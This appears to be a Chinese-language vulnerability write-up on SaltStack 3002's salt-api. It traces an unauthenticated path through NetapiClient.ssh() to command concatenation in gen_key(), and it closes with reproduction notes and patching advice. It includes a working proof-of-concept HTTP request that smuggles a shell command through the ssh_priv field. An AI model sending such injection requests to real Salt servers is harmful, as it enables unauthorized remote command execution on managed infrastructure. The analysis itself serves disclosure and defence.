Salt Version:
Salt: 3002-56-g3e269eda82
Dependency Versions:
cffi: 1.14.3
cherrypy: unknown
dateutil: Not Installed
docker-py: Not Installed
gitdb: 4.0.5
gitpython: 3.1.11
Jinja2: 2.11.2
libgit2: Not Installed
M2Crypto: Not Installed
Mako: 1.0.7
msgpack: 1.0.0
msgpack-pure: Not Installed
mysql-python: Not Installed
pycparser: 2.19
pycrypto: Not Installed
pycryptodome: 3.9.9
pygit2: Not Installed
Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
python-gnupg: Not Installed
PyYAML: 5.3.1
PyZMQ: 19.0.2
smmap: 3.0.4
timelib: Not Installed
Tornado: 4.5.3
ZMQ: 4.3.2
System Versions:
dist: darwin 19.6.0
locale: utf-8
machine: x86_64
release: 19.6.0
system: Darwin
version: 10.15.6 x86_64
salt-api REST介面預設使用cherrypy框架,從run介面的實現上可以看出透過client引數動態呼叫NetapiClient類中的方法。
文中指定程式碼位置採用以下約定:FileLocation:Classname.method()
salt/netapi/init.py:NetapiClient.run()
low引數為外部傳入引數,salt.utils.args.format_call方法將引數賦值給**kwargs。
當client引數為ssh時,動態呼叫salt/netapi/init.py:NetapiClient.ssh(),該方法未採用任何鑑權。
salt/netapi/init.py:NetapiClient.ssh()
跟進,路徑如下:
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
salt/client/ssh/client.py:SSHClient._prep_ssh()
該方法將kwargs外部可控引數更新值opts變數,該變數可以理解為SaltStack系統的環境變數,使用該變數初始化salt.client.ssh.SSH。
salt/client/ssh/init.py:SSH.__init__()
priv的值從opts變數中獲取,並呼叫salt.client.ssh.shell.gen_key()方法。
salt/client/ssh/shell.py:gen_key()
該方法中對命令進行拼接,並進行執行。當傳入值為|COMMAND>{} #即可執行COMMAND命令。
POC
由上分析可知,POC如下:
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b
關於復現環境
1. Mac上覆現需要手動建立日誌資料夾、配置資料夾等,並需要手動寫入相關配置。
2. Docker從官方環境拉取的映象中預設沒有SSH,故執行該poc時salt-api會掛掉,經測試3002版本自動重啟,3000.4版本、2019.2.5版本則不會。故當salt-api掛掉時,優先考慮當前機器上是否有SSH軟體。
三、安全建議
1. 儘快修復。由於官方並未放出升級包,故目前仍需要手動進行修復,這裡是官方安全通告和修復補丁。
2. 如非必須使用salt-api,請關閉該功能。